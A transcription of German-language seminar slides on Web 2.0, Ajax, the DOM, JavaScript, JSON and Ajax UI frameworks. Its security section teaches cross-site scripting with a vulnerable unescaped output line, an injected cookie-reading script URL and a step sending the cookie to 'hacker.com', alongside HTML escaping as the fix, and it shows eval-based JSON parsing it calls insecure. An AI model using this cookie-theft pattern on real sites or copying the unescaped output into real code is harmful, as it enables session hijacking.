Moderne Webanwendungen mit Ajax und Web 2.0

Transcription

Moderne Webanwendungen mit Ajax
und Web 2.0
Andreas Eberhart
Hewlett-Packard
Zum Referenten
l
Andreas Eberhart:
– Studierte Informatik in Ulm und Portland, Oregon
– Danach mehrere Jahre SW-Engineer in der Industrie
– 1998-2003 wiss. Mitarbeiter an der International
University Bruchsal
– Promotion 2003
– 2004 wiss. Mitarbeiter an der TH Karlsruhe
– Seit 2005 Senior Software Architekt für Server
Virtualisierung und Grid Technologien bei HP
Eberhart
2
Gesamtüberblick
1. Web 2.0 als Inbegriff eines neuen Netzverständnisses
2. Ajax: Asynchrone Interaktion zwischen Server und
Browser
3. Komponentenbasierte UIs mit Widgets
4. Weitere Web 2.0 Trends & Technologien
5. Integration von Anwendungen mit Mashups
6. Einordnung und Ausblick
Homepage des Seminars:
http://web.cecs.pdx.edu/~eberhart/web2.0/
Eberhart
3
Vorläufige Zeitplanung
1. Tag
2. Tag
9:00 – 10:30
Abschnitt 3
10:00 – 10:15
Begrüßung,
Vorstellung
10:30 – 11:00 Pause
10:15 – 11:45
Abschnitt 1
11:00 – 12:00 Abschnitt 4
11:45 – 13:00
Essen
12:00 – 13:15 Essen
13:00 – 14:30
Abschnitt 2
13:15 – 14:45 Abschnitt 5
14:30 – 15:00
Pause
14:45 – 15:00 Pause
15:00 – 17:00
Abschnitt 2
15:00 – 16:00 Abschnitt 6
Eberhart
4
und Web 2.0
Teil 1: Web 2.0 als Inbegriff eines neuen
Netzverständnisses
Andreas Eberhart
Hewlett-Packard
Überblick
l
l
l
Von statischem zu dynamischem und zu
inter-aktivem Content
Begriffsklärungen und Abgrenzung
Web 2.0 als neue Webkultur
Eberhart
6
Entwicklungsstadien des Webs
l
Phase 1
– Statische Inhalte (Visitenkarte einer Person / Firma
im Internet)
l
Phase 2
– Dynamische Anwendungen / E-Commerce
• eBay, Amazon, etc.
– Einbindung von Firmeninformationen und Prozessen
l
Phase 3 (Web 2.0)
– Massive Einbindung des einzelnen Nutzers
– Hoher Grad an Interaktivität in den Anwendungen
– Starke Verknüpfung von Informationen
Eberhart
7
Definition Web 2.0
l
Der Begriff „Web 2.0“ wird Dale Dougherty
(O'Reilly-Verlag) und Craig Cline (MediaLive)
zugeschrieben
– keine klare Definition
– Überbegriff für eine Reihe von Techniken und
Diensten die die Nutzung des Webs verändern
– erste Web-2.0-Konferenz im Oktober 2004
Eberhart
8
Definition Web 2.0 Anhand von Beispielen
l
Web 1.0
–
–
–
–
–
l
DoubleClick
Ofoto
Britannica Online
Persönliche Webseiten
Content Management
Systeme
– Taxonomie
(Verzeichnisse)
Eberhart
Web 2.0
–
–
–
–
–
AdSense
Flickr
Wikipedia
Blogs
Wikis
– Folksonomy (Tagging)
9
Eine Neue Generation von Internetnutzern
Ex Yahoo CEO Terry Semel über seine Töchter
(24, 19 und 13): The first does a lot on the internet,
the second does everything on the internet, and the
third “lives online” and has so many beeping
devices that I occasionally wonder whether she is
trafficking
Eberhart
10
Eine Neue Generation von Internetnutzern
Eberhart
11
YouTube
l
Kenndaten
– Für 1.6 Mrd US$ an Google verkauft die mit ihrem
Google Video Angebot auf Rang 3 waren
– Täglich 100 Mio downloads und 65000 neue Videos
– Name: Tube = Glotze, YouTube = Deine Glotze
l
Technik: Videos können
– über das Portal angesehen werden
– leicht in eigene Webseiten
eingebettet werden
Eberhart
12
YouTube
l
Inhalte
–
–
–
–
–
l
Mitschnitte aus Fernsehshows
Musikvideos
Witzige Heimvideos
Uni Vorlesungen
Copyright oft unklar
Medienverhalten der jungen
Generation verlagert sich
massiv vom Fernsehen
ins Internet
Eberhart
13
Flickr
l
Online Fotoalbum
– Upload per Browser, Fotohandy, Email
– Fotos können mit Metadaten (Tags) versehen
werden
– u.a. Geotagging
l
Kenndaten
– 2005 von Yahoo
gekauft
– 5000 Hits / Minute
– 3 Millionen registrierte
Benutzer
Eberhart
14
Technorati
l
Suchmaschine für blogs
– ein neuer blog jede Sekunde
– Verdoppelung alle 5 monate
– 50000 posts jede Stunde
l
Technik
– Page Rank analysiert
Cross Blog Links
– Blogger können
Technorati sofort über
neuen Blog informieren
(real time search)
Eberhart
15
Tag Cloud
l
zuerst von Flickr verwendet
– Fontgrösse gibt die Wichtigkeit eines Tags an
– Was ist ein Tag: Metadatum (z.B. auf dieser
Webseite geht es um Kochen -> website hat tag
Kochen)
l
Maße
– Voting / Popularität
l
Tag Cloud bei spiegel.de
Eberhart
16
Wikipedia
l
l
Englische Ausgabe mit 1 mio Artikeln und damit 12x
größer als Encyclopdia Britannica
Ausgaben in 200 Sprachen
– Gesamt 3 mio Artikel
l
100 000 contributors
– 4 mio edits
l
l
„Skandal“ um einen als Witz launcierten Artikel der
mehrere Monate unentdeckt online stand
Studie von Nature über die Qualität von Wikipedia –
untersucht wurden 42 Artikel zu Wissenschaftlichen
Themen
– http://www.nature.com/news/2005/051212/full/438900a.html
– im Schnitt 4 Ungenauigkeiten in Wikipedia
– im Schnitt 3 in Britannica
Eberhart
17
Soziale Netzwerke
l
Portal das die Beziehungen zwischen den Nutzern mit
in das Angebot einbezieht
–
–
–
–
l
Nutzer erstellen eigenes Profil
Andere Nutzer werden eingeladen
Strenge Rechteverwaltung
Trennung zwischen privaten und öffentlichen Inhalten
Vertrauensverhältnis
– Das Netzwerk lebt von
• der Qualität der Nutzerprofile
• dem Vertrauensverhältnis untereinander
l
Probleme
– Stalking / Belästigung der Mitglieder
– Data Mining durch NSA etc.
Eberhart
18
FaceBook
Eberhart
19
FaceBook
l
Soziales Netzwerk für Unis / Schulen
– Hohe Qualität der Einträge da Nutzer nur mit gültiger
.edu email ins System kommen
– Mit Fotoalbum und Blog
l
Kenndaten
–
–
–
–
Eberhart
#7 der am meisten besuchten US Internetseiten
9 Mio Nutzer
20000 neue Accounts täglich
Soll angeblich für ca. 1 Mrd US$ an Yahoo verkauft
werden
20
MySpace
l
Soziales Netzwerk für Jedermann
– Benutzer können eigene Website u.a. mit eigenen
Film- und Musikbeiträgen gestalten
– Üblichen Merkmale wie Fotos, Profile, etc.
l
Kenndaten
–
–
–
–
Eberhart
2005 von Rupert Murdoch für 580 Mio US$ gekauft
105 Mio Mitglieder
Jede Woche 500.000 neue Mitglieder
Das Netzwerk wird angeblich bereits von der NSA zu
Recherchen genutzt
21
del.icio.us
l
Verwaltet Internet Bookmarks
– Bookmarks können mit Tags beschrieben werden (z.B.
http://www.tim-maelzer.de/ hat das Tag „Kochen“)
– Bookmarks anderer Benutzer sind einsehbar
– Somit entsteht eine Art Ranking (Top 10 Bookmarks einer
gewissen Community)
l
Kenndaten
– 200.000 Nutzer
– 2005 von Yahoo gekauft
l
Technik
– REST API
– RSS Feed
Eberhart
22
SecondLife.com
Eberhart
23
SecondLife.com
l
Virtuelle Welt
– Der Spieler übt einen virtuellen Beruf aus
• Architekt, XML Coder, Tatooist, etc.
– Virtuelle Währung kann in US$ getauscht werden
– Verschmelzung der virtuellen mit der realen Welt
• „Suzanne Vega to Perform Live in Virtual 3D World“
• „Toyota is the first carmaker to enter Second Life. It has
been giving away free virtual vehicles of its Scion brand“
l
Kenndaten laut website
–
–
–
–
Eberhart
User: 911,356
In den letzten 60 tagen eingeloggt: 373,893
Online: 5,422
Umsatz in den letzten 24h: 349,359 US$
24
Mashups
l
l
Erstellung neuer Webinhalte durch die nahtlose
Kombination bereits bestehender Webinhalte
Technologien
– Javascript als Integrationssprache
• Eventhandling
• Ansprechen diverser APIs
– APIs
• SOAP, REST, RSS
l
Technische Hürde: Cross Domain Restriktion im
Browser
Eberhart
25
Mashup
Eberhart
26
und Web 2.0
Teil 2: Ajax – Asynchrone Interaktion zwischen
Browser und Webserver
Andreas Eberhart
Hewlett-Packard
Überblick
l
l
l
l
l
l
l
l
Die Basis: Document Object Model (DOM),
JavaScript
Sicherheit / Privacy
Werkzuge
Ajax vs. Klassische Webentwicklung
Interaktive Anwendungen mit Ajax
Kompatibilität und Kosten der Entwicklung
Ajax Frameworks
Alternativen
Eberhart
28
Document Object Model
l
Historie:
– HTML sollte dynamisch verändert werden können
– Dynamic HTML wurde in den 4er Browsern
ansatzweise implementiert
– Anfangs teilweise sehr unterschiedliche
Objektmodelle in den Browsern
– Standardisierung durch das W3C
l
W3C publizierte eine DOM Spezifikation
– Sowohl HTML als auch XML Teil
Eberhart
29
DOM Objektmodell
l
http://www.xulplanet.com/references/objref/
Eberhart
30
Parsen von Dokumenten: DOM API
l
Definiert Interfaces, die es erlauben die
Baumstruktur zu lesen und zu verändern
– Jedes Element und jedes Attribut kann durch das
Node Interface beschrieben werden
Node.getName()
Node.getChildNodes()
Node.getValue()
Node.getAttributes()
– Spezialfall: das gesamte Dokument
Document.getDocumentElement()
Document.getElementsByTagName()
l
Implementierungen in jeder Sprache möglich
Eberhart
31
DOM und Java
DOM Application
DOMParser parser = new DOMParser();
parser.parse(url);
Document d = parser.getDocument();
Node n = d.getDocumentElement();
XML
Document
DOM API
DOMParser Object
Eberhart
32
DOM und Javascript
JavaScript DOM Applikation
x = document.getElementById(“x”);
x.innerHTML = ...
DOM API
HTML
Dokument
Eberhart
33
Beispiele
l
DOM
– HTML Seite intern als DOM Baum repräsentiert
– Hierarchie kann via JavaScript gelesen und
modifiziert werden
l
Beispiel:
<form name=„form“><input name=„name“ type=„text“
value=„x“ id=„myid“>
document.form.name.value = „new value“;
document.getElementById(„myid“).value = ...
var p = document.createElement("p");
p.innerHTML = "dynamic text";
document.body.appendChild( p );
Eberhart
34
Scalable Vector Graphics (SVG)
l
W3C Standard um Vektorgrafiken im Browser
anzuzeigen:
– <body>
<svg:svg width="100" height="100">
<svg:circle cx="50" cy="50" r="50" fill="#ff0000"/>
</svg:svg>
</body>
– Kann ebenfalls per JavaScript + DOM manipuliert werden
l
Unterstützung im Browser
– Firefox / Opera können SVG nativ
– Internet Explorer braucht SVG plugins
• Adobe Plugin: wird 2008 eingestellt da Adobe auf
Macromedia Flash umstellt
• SVG Consortium stellt ebenfalls ein Plugin bereit
Eberhart
35
JavaScript
l
Historie
– 1995 von Netscape in den Navigator 2.0 eingebaut
– Hat trotz des Namens und der ähnlichen Syntax
wenig mit Java zu tun
– Der Name wurde aufgrund der damals beliebten
Java Applets gewählt
– 1997: Internet Explorer 4 unterstützt Javascript
– Javascript wird somit zum de facto Standard im Web
l
Ziel
– Dynamisches verhalten in Websites auch ohne
Kommunikation mit dem Server
Eberhart
36
Funktionsweise
l
Javascript wird
– in einer HTML Seite eingebettet um vom Server
geladen
– im Browser interpretiert
Browser
Webserver
Javascript
Interperter
<script src=‘x.js'></script>
HTML DOM
statischer JS
HTML + JS
<script>function foo() {…}</script>
Eberhart
37
Sprachelemente
l
Basiselemente
– for, while, if else
– Variablen (Objekte, Strings, Arrays, Primitive Typen)
– keine strenge Typisierung (var x = ...)
l
Javascript ist objektorientiert
– Ansprechen des DOMs
– Eigene Objekte „on the fly“ definieren: { „x“:1, „y“:2 }
– Fehlerbehandlung über try catch
l
Kleine Basisbibliothek
– encodeURIComponent(…)
– alert(...)
– ...
Eberhart
38
Funktionen
l
Javascript arbeitet (u.a. für AJAX) viel mit
callbacks
– Funktionen können als
Variable übergeben werden:
<script>
function add(a, b) {
return a+b;
}
function go(fn) {
alert(fn(1,2));
}
go(add);
</script>
l
Dynamisches Evaluieren
von (dynamisch
geladenem) Javascript
Eberhart
<script>
var x = …
eval( x );
</script>
39
Überblick
l
l
l
l
l
l
l
l
JavaScript
Werkzuge
Ajax Frameworks
Alternativen
Eberhart
40
JavaScript Sicherheit
l
l
Javascript kann schnell zum Trojanischen Pferd werden
Javascript Interpreter erlauben
– HTTP Zugriffe nur auf den Host von dem das Skipt geladen wird
(vgl. TCP Verbindungen in Applets)
– Zugriffe nur innerhalb des eigenen DOMs
– Möglichkeit Skripte zu signieren
l
Durch die Komplexität finden sich selbstverständlich
immer Schwachstellen
– dynamisches Ausführen von Skripten mittels eval()
– Frames / Skripte aus unterschiedlichen Quellen
– Cross Site Scripting
Eberhart
41
JavaScript Sicherheit
l
Der Benutzer hat die Wahl
zwischen
– Komfort der Applikation
– Sicherheit / Privatsphäre
l
Browser bieten inzwischen
nicht nur Pop-up und
Werbe-Blocker sondern
auch Javascript Blocker an
(Noscript)
Eberhart
42
Nutzerverhalten Analysieren mit JS
l
Laut heise.de erzeugte Google für einige Zeit Javascript
in den Ergebnisseiten, die Google mitverfolgen liessen
auf welche Suchergebnisse der Nutzer klickt
– Komfort (Verbesserung der Google Algorithmen) vs. Privatshäre
l
Technische Realisierung
– <a href=„javascript:send(‚id‘, 1‚http://res‘)“>Ergebnis 1</a>
– function send( id, res, url ) {
ajaxCall(id, res, url)
document.location=url
}
Eberhart
43
Cross Site Scripting (XSS)
l
Sehr häufige Angriffsform mit der vornehmlich
cookies gestohlen werden können
– Sehr problematisch, da damit vom Hacker eine
bereits authentifizierte Session übernommen werden
kann
l
Schritte:
– Finde website mit XSS Lücke (URL Parameter wird
ungefiltert in die Ergebnisseite übernommen):
out.println( request.getParameter(„par“) );
Eberhart
44
l
Schritte
– Über diese Schwachstelle kann man dem Benutzer
ein Skript unterjubeln, der scheinbar von einer
vertrauenswürdigen Site kommt:
http://trusted.com/xss.jsp?par=<script>alert(
document.cookie )</script>
– Das Skript hat somit Zugriffsrechte auf die Cookies
des Benutzers und kann diese per HTTP an den
Hacker weiterleiten
Eberhart
45
1) schickt link + URL
encoded script
per email zum Nutzer
5) Übertrage Cookie per
HTTP Anfrage:
img.src=„hacker.com?cookie“
Nutzer
4) Skript hat
Zugriff auf
Cookies
Hacker
2) Nutzer klickt auf
den Link
Site mit XSS
Sicherheitslücke
3) Skript wird
in die Seite eingebettet
Eberhart
46
XSS Schwachstellen Beheben
l
Vor jeder Ausgabe muss die Zeichenkette
untersucht werden
– HTML Escaping verhindert das Ausführen fremden
Codes im Browser
Eberhart
>
>
<
<
&
&
47
Privacy
l
HTTP liefert jede Menge Informationen, die vom Server
verwertet werden können
– Cookies
• identifizieren den Browser / Benutzer mit jeder Anfrage
• Meldet man sich mit Name / Email an, kann jede HTTP
Anfrage der Person zugeordnet werden
– Referer
• geben an von welcher Seite man kommt
– HTTP Preload
• veranlasst den Browser Seiten vorab zu laden
l
In Verbindung mit JavaScript bieten sich viele
Möglichkeiten zur Überwachung
Eberhart
48
Google Analytics
l
Online Dienst mit dem ein Anbieter das
Nutzerverhalten analysieren kann
– wo kommen die User her?
– wie lange bleiben auf welcher Seite?
– wo springen sie ab?
Nutzer
HTML + Google
Analytics JS
Google
Host
Eberhart
49
Überblick
l
l
l
l
l
l
l
l
JavaScript
Werkzuge
Ajax Frameworks
Alternativen
Eberhart
50
Werkzeuge
l
Entwicklingswerkzeuge mit kontextsensitiver
Hilfe / Auto-completion
–
–
–
–
Eberhart
FrontPage
Visual Studio
Eclipse
etc.
51
Werkzeuge
l
Mozilla / Firefox
– Einige Werkzeuge bereits integriert
– Andere als seperate „Extensions“
Eberhart
52
Werkzeuge
l
MS Werkzeuge bereits im Browser integriert
– muss über Optionen freigeschalter werden
Eberhart
53
JavaScript Werkzeuge - Firebug
l
Wohl das derzeit beste Javascript Werkzeug
Eberhart
54
Überblick
l
l
l
l
l
l
l
l
JavaScript
Werkzuge
Ajax Frameworks
Alternativen
Eberhart
55
AJAX vs. Klassische Webentwicklung
l
Klassische Webenwicklung
–
–
–
–
–
–
l
Benutzer springt von Seite zu Seite
Parameterübergabe per Formular
Seiten werden serverseitig dynamisch generiert
Server hät Benutzersession
Limitierte Verwendung von Skripten
Vorteil: einfaches Layout mit HTML, Applikation ist inhärent
verteilt und mehrbenutzerfähig
Klassische UI Entwicklung mit Swing / VB / etc.
– Client kontaktiert Applikationsserver
– Events, Callbacks, MVC, innerhalb der Applikation
– Vorteil: einfache Programmierung der Logik und des
Kontrollflusses
l
Kann das beste aus beiden Welten verschmolzen
werden?
Eberhart
56
Quelle: http://de.wikipedia.org/
Eberhart
57
Eberhart
58
Komponenten von Webanwendungen
Eberhart
59
Überblick
l
l
l
l
l
l
l
l
JavaScript
Werkzuge
Ajax Frameworks
Alternativen
Eberhart
60
RPC Middleware
l
Wie funktioniert die Kommunikation zwischen
JavaScript und Web Server?
– Wie wird eine Anfrage initiiert?
– Wie werden die Parameter kodiert?
– Wie wird das Ergebnis übertragen?
l
Analogie
– Middleware
– Remote Procedure Call
Eberhart
61
RPC Middleware
Client
Entwickler
Aufruf
Middleware
Stub
Middleware
Sender
Eberhart
Server
x = foo(y);
foo() { }
foo(y) {
ser(y)
send
receive
x=deser
return x
}
forever {
receive
y=deser
x = foo(y)
ser x
send
}
request
delivery
path
Entwickler
Implementierung
Middleware
Skeleton
Middleware
Dispatcher
62
(De)Serialisierung
l
Jede Middleware muss Speicherstrukturen einer
Programmeirsprache in eine serialisierte Form
und wieder zurück wandeln können
– Format ist entscheidend für den Cross Language
Support
– Möglichkeiten
• XML
• JSON
• ASCII / HTML
• Javascript (dynamisch ausführbarer Code)
Eberhart
63
XML
l
XML ist im Web natürlich die erste Wahl für das
Übertragungsformat
– Viele Werkzeuge
– Basis von Web Services / SOA
– Weiterverarbeitung mit
• XML Schema
• XSLT
• XPath
l
Datenzugriff und –erzeugung per DOM
– Nicht unbedingt einfach
– Es fehlt auf JavaScriptseite an Mappingwerkzeugen
Eberhart
64
JavaScript Object Notation (JSON)
l
Alternatives Datenformat zu XML
– Verbraucht weniger Platz als XML
– Kann mit JavaScript wesentlich einfacher verarbeitet
werden
– Nachteil: derzeit geringere Verbreitung vgl. mit XML
– Nachteil: Yet another markup language (YAML)
l
Aufbau
– Objekte werden in { } geschrieben, Arrays in [ ]
– Felder eines Objekts schreibt man als name : wert
"Alter" : 56
Eberhart
65
JavaScript Object Notation (JSON)
l
Beispiel
<script>
var json = ' { "x" : 4, "y" : 6 } ';
var o = eval("(" + json + ")");
alert( o.x );
</script>
l
l
l
Vorteil: Einfacher als DOM / XML
d.getDocumentElement().getChildNodes().item(0).value
Problem: Mangelnde Sicherheit wegen „eval“
Anwendung:
– Webdienst bietet JSON Format als Ausgabe
– JavaScript kontaktiert den Dienst via AJAX
– JavaScript kann strukturierte Daten per JSON leicht
werterverarbeiten
Eberhart
66
ACSII
l
l
Einfache Daten werden oft als ASCII übertragen
Beispiel
– wert
– wert1,wert2,wert3
l
Weit verbreitet: HTML String
– response = <p>server generated HTML</p>
– output.innerHTML = response;
Eberhart
67
Transport
l
Nachdem die Daten serialisiert sind folgt die
Übertragung
– Erfolgt im Web natürlich über HTTP
l
Wichtige Grundlage
– HTTP Basic Authentication
– HTTPS
l
Verschiedene Möglichkeiten der Übertragung
– SOAP
– XML-RPC
– REST
Eberhart
68
SOAP
l
l
l
SOAP stammt von Microsoft
In der Entwicklung seit etwa 1997; seit 1998
existiert der Name SOAP (Simple Object
Access Protocol)
Hat sich gegen große hausinterne Konkurrenz
durchgesetzt:
– DCOM als Microsofts Distributed Computing Ansatz
– BizTalk (später: Integration der Ideen)
l
Heute W3C-Standard (XML Protocol Working
Group)
Eberhart
69
SOAP-Nachrichten
l
l
l
Eine SOAP-Nachricht besteht
zunächst auf der obersten
Ebene aus einem Envelope.
Der Envelope enthält einen
optionalen Header sowie die
eigentliche Nachricht im SOAP
Body.
Aufgabe des Headers: Infos
über Transaktionskontexte,
Authentifizierung,
Autorisierung, Routing- und
Auslieferungsinformationen
Eberhart
SOAP Envelope
SOAP Header
Header Block
Header Block
SOAP Body
Message Body
70
XML-RPC
l
Leichtgewichtige Variante zu SOAP
– Basiert lediglich auf HTTP
– Unterstützt kein Routing / XML Security / etc.
l
Einbindung in Programmiersprachen
– Stubs und Skeletons werden erzeugt
– Benutzer muss kein XML „sprechen“
Eberhart
71
XML-RPC: Mapping
XML
<Koordinate>
<x>3</x>
<y>8</y>
</Koordinate>
Objektinstanzen
Datenbank Tuple
Koordinate
new Koordinate(...)
3
Eberhart
8
...
...
3
8
...
...
72
XML-RPC: Mapping Beispiel mit JAXB
l
Beispiel
– JAXB übernimmt das Mapping von XML Schema
nach Java
– DOM Programmierung nicht mehr nötig
Koordinate koord =
(Koordinate)unmarshaller.unmarshal(new File("koord.xml"));
System.out.println( "X = " + koord.getX() );
System.out.println( "Y = " + koord.getY() );
m.marshal( koord, System.out );
Eberhart
73
REST
l
Wohl die einfachste Form eines Webbasierten
RPC
– Erweitertes HTTP
– Anfrage ist lediglich eine URL mit kodierten
Parametern
HTML
– Ausgabe ist XML
l
Weiterverarbeitung meist nicht per
automatischem Mapping in eine
Programmiersprache
XML
– DOM
– XSLT
Eberhart
Client
XSLT
Server
74
REST Beispiel
Inputs: Addresse
Format des outputs
Dev Key
Output: Details der
Addresse als
XML / JSON
Eberhart
75
Aufruf vom Browser
l
Wie erfolgt der HTTP Aufruf vom Browser?
– Nutzer soll auf der momentanen Seite bleiben
– Aufruf wird von JavaScript gesteuert
l
Möglichkeiten
– IFrames
– On Demand Javascript
– XMLHttpRequest
Eberhart
76
Hidden IFrames
l
Kommunikation mit dem Server erfolgt über einen nicht
sichtbaren IFrame
– Parameterübertragung per <form target=„hidIframe“>
– Hauptseite wird nicht verlassen
l
Nachteil
– Beeinflusst die Borwser Historie
1. Setze
neue URL
JS funktion
1. Setze
neue URL
iframe
lese DOM
3. skript
wird ausgeführt
2. <script>action(…)</script>
Eberhart
JS funktion
Server
iframe
3. onload
event
daten
77
XMLHttpRequest
l
Eleganteste Variante um von Skripten aus
HTTP Requests abzusetzen
– Eingeführt im Internet Explorer 5
– Inzwischen von allen gängigen Browsern unterstützt
var req;
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject("Microsoft.XMLHTTP");
req.onreadystatechange = function() {
if (req.readyState == 4 && req.status == 200)
alert( “done” + req.responseText );
}
req.open("GET", url );
req.send(null);
Eberhart
78
XMLHttpRequest Beispiel
Eberhart
79
XMLHttpRequest und XML
l
XMLHttpRequest bietet zwei Möglichkeiten auf das
Ergebnis zuzugreifen
– responseText (direkter Zugriff auf den Text)
– responseXML (DOM Zugriff auf den geparsten XML Baum)
Name des Wurzelelements
req.responseXML.documentElement.nodeName
Wert des ersten x Elements: z.B. <x>34</x> ergibt 34
req.responseXML.documentElement.
getElementsByTagName("x").item(0).firstChild.data );
Eberhart
80
Cross Domain Restriction
l
XMLHttpRequst ist
– einfach
– für JavaScript „relativ“ elegant
l
Dennoch haben andere Mechanismen ihre
Daseinsberechtigung
– XMLHttpRequest darf aus Sicherheitsgründen nur
zum Ausgangshost gerichtet werden
– Problem für Mashups da dort Daten von anderen
Hosts kommen sollen
Eberhart
81
Lösung für Cross Domain Restriction
l
Server Proxies
– Daten von drittanbieter werden vom Server geladen
– Vorsicht: kann legale Probleme machen, da juristisch
der Proxybetreiber haftet
Browser
Proxy JSP, CGI, o.Ä.
Drittanbieter
l
On demand JavaScript
– der Browser wird quasi ausgetrickst
Eberhart
82
On-Demand Javascript
l
Grundidee:
– Code kann per JavaScript nachgeladen werden
– Code wird ausgeführt sobald Browser mit dem Laden fertig ist
l
Anwendung
– Schnellere UIs durch lazy loading
– RPC
JS funktion
head
1. erzeuge
neues script
element
head = document.getElementsByTagName("head").item(0);
var oScript = document.createElement("script");
oScript.setAttribute("src", url);
head.appendChild(oScript);
3. skript
wird ausgeführt
2. <script>action(…)</script>
Eberhart
Server
83
On-Demand JavaScript – Beispiel
<html>
<head>
<script>
function go( par )
{
var head = document.getElementsByTagName("head").item(0);
var oScript = document.createElement("script");
oScript.setAttribute("src",
"http://www.google.com/complete/search?hl=en&js=true&qu=" +
encodeURIComponent( par ));
head.appendChild(oScript);
}
function sendRPCDone(fr,is,cs,ds,pr)
{
output.innerHTML = cs;
}
</script>
</head>
<body>
<input type="text" id="input“
onkeyup="javascript:go( document.getElementById('input').value )">
<div id="output">
</body>
</html>
Eberhart
84
Überblick
l
l
l
l
l
l
l
l
JavaScript
Werkzuge
Ajax Frameworks
Alternativen
Eberhart
85
l
Frage:
– soll / kann / muss man bei der Entwicklung auf Ajax
setzen?
l
Entscheidungskriterien
– Intranet / Internet?
– Wie wichtig ist es auch alte Browser vollständig zu
unterstützen?
– Kann man die Benutzer zwingen JavaScript zu
aktivieren?
Eberhart
86
Unterstützung von XMLHttpRequest
Eberhart
87
l
Pro Ajax
– Einige Applikationsmerkmale lassen sich nur /
leichter mit Ajax entwickeln
l
Contra Ajax
– Evtl. Doppelentwicklung nötig
Eberhart
88
Überblick
l
l
l
l
l
l
l
l
JavaScript
Werkzuge
Ajax Frameworks
Alternativen
Eberhart
89
Ajax Frameworks
l
Frameworks unterstützen den Entwickler
– Übernehmen Details der Kommunikation / des
Handlings von XMLHttpRequest
– Encoding der Parameter
– etc...
l
Welches Framework nimmt man?
– Es gibt sehr (zu) viele
– Wir stellen DWR als aussichtsreichen und guten
Kandidaten für Java Backends vor
Eberhart
90
Direct Web Remoting
l
Elegante und leicht zu verwendende JavaScript zu Java
Middleware
– JavaScript Stubs werden vom Server dynamisch generiert
– Skeleton Servlet ruft implementierung dynamisch auf
– https://dwr.dev.java.net/
Quelle: https://dwr.dev.java.net/
Eberhart
91
Direct Web Remoting
Basis Libs
Stub
Send
Receive
Eberhart
92
Überblick
l
l
l
l
l
l
l
l
JavaScript
Werkzuge
Ajax Frameworks
Alternativen
Eberhart
93
Ajax Alternativen
l
Ajax Merkmale sind
– Interaktivität
– Asynchrones Laden vom Server
– UI Modifikationen von einer Scriptsprache im Client
l
Diese Merkmale lassen sich auch mit anderen
Plattformen realisieren
– Vorteile:
• bessere Kontrolle über die Laufzeitumgebung
• Restriktionen (z.B. Cross Site Call Restriktion) können
umgangen werden
– Nachteile:
• Installation auf dem Client erforderlich
• Abhängigkeit vom Hersteller
Eberhart
94
Adobe Flash
l
l
Beliebtes Werkzeug um multimediale
Webseiten zu erstellen
Beinhaltet weiterhin:
– Action Script Sprache
– SOAP / REST Middleware zur Kommunikation mit
dem Server
l
Produkte
– kostenpflichtige Entwicklungsumgebung
– freier Flash Player: annähernd alle Web Benutzer
haben diesen installiert!
Eberhart
95
Microsoft Silverlight
l
Microsoft‘s Antwort auf die Herausforderung
Adobes im Markt für Dokumente /
Webplattformen
– ähnliches Konzept
– sehr gute Integration in Visual Studio
– verwendet Mono Runtime für Linux
l
Unterstützung
– freie Plugins für fast alle Browser verfügbar
– Verbreitung noch sehr gering
Eberhart
96
und Web 2.0
Teil 3: Komponentenbasierte UIs mit Widgets
Andreas Eberhart
Hewlett-Packard
Web 2.0 User Interface Frameworks
l
l
Durch Ajax kamen einige Web UI frameworks
auf
Frage:
–
–
–
–
l
UI: Wie wird die UI erstellt?
Events: Wo werden die Events verarbeitet?
Models: Wo liegen die MVC Modelle?
Reuse: Wie werden Komponenten wiederverwendet?
Wir untersuchen beispielhaft 4 Frameworks
– Alle 4 Frameworks bsieren auf Ajax, sind aber sehr
unterschiedlich
Eberhart
98
Model View Controller
l
Design Pattern
– Trennung von Daten und Anzeige
– Änderungen am Modell werden zu allen Sichten
propagiert
Eberhart
99
Google Web Toolkit
l
l
l
Open Source
Basis für GMail, Google Maps, etc.
Idee: Java statt JavaScript
–
–
–
–
l
l
l
l
Bessere Werkzeuge (e.g. Eclipse)
Debugging im Developer Mode
Website wird erstellt mit Java2Javascript Compiler
Viele UI Komponenten
UI: Swing Style
Events: server side
Models: server side
Reuse: Java classes
Eberhart
public class Test implements EntryPoint {
public void onModuleLoad() {
final Button button = new Button("Click me");
final Label label = new Label();
button.addClickListener(new ClickListener() {
100
ZK
l
l
Open Source
Idee:
– Page layout in ZUL
– Component model für pages / desktops / components
– Event processing wird in ZUL eingebettet
l
l
l
l
UI: in ZUL / HTML / CSS
Events: server side
Models: server side
Reuse: Java Classes / ZUL fragments
Eberhart
101
ZK
Eberhart
102
Dojo
l
l
Open Source
Idee:
–
–
–
–
l
l
l
l
Reiner JavaScript / keine server side components
Mächtige UI Komponenten
Bietet RPC framework
Bibliotheken für remote calls / cross site calls
UI: HTML / CSS
Events: JavaScript / client side
Models: JavaScript objects / cookie storage
Reuse: UI widgets
Eberhart
103
Dojo
Eberhart
104
HP Web Komponenten
l
Idee:
– Benutzer arbeitet auf Java Swing Ebene (Menü,
Baum- und Tabellenmodelle)
– Framework realisiert MVC im Web
Eberhart
105
HP Web Komponenten
l
Tabelle besteht aus 5 Beans
– datamodel, pagingmodel, selctionmodel, view & controller
l
l
l
l
UI: HTML
Events: server side
Models: server side
Reuse: Widgets
Eberhart
106
Weitere Frameworks
l
l
l
l
l
l
l
l
l
l
Microsoft ASP.NET AJAX
Ruby on Rails
MochiKit
Xajax
Yahoo! UI (YUI)
jQuery
Rico
moo.fx
script.aculo.us
Prototype
Eberhart
107
Weitere Widgets
l
Neben den üblichen Komponenten wie Tabelle,
Baum, etc. gibt es auch andere widgets
– Maps
– Kalender
l
Diese sind oftmals mit einem Backenddienst
verbunden, z.B.
– Routenplaner
– Geocoder
– Shared Calender
Eberhart
108
Google Maps
l
Voraussetzung
– Google login + API key (wird spezifisch für
die URL generiert, von der die AJAX
Aufrufe kommen)
– Karte wird in <div> eingeblendet
l
Sehr mächtige API
–
–
–
–
–
Waypoints in der Karte
Marker
Setzen der Position in der Karte
Callbacks bei Bewegungen in der Karte
API zum auflösen von Addressen in
Koordinaten
– http://www.google.com/apis/maps/document
ation/
Eberhart
109
Google Maps API
Karte bewegen: map.setCenter(new GLatLng(37.4419, -122.1419), 13);
Auf Kartenbewegung reagieren: GEvent.addListener(map, "moveend", callback);
Eberhart
110
und Web 2.0
Teil 4: Web 2.0 Trends und Technologien
Andreas Eberhart
Hewlett-Packard
Überblick
l
l
l
l
l
Feeds
Blogs
Wikis
Social Networks
Applikationen im Web
Eberhart
112
Feeds
l
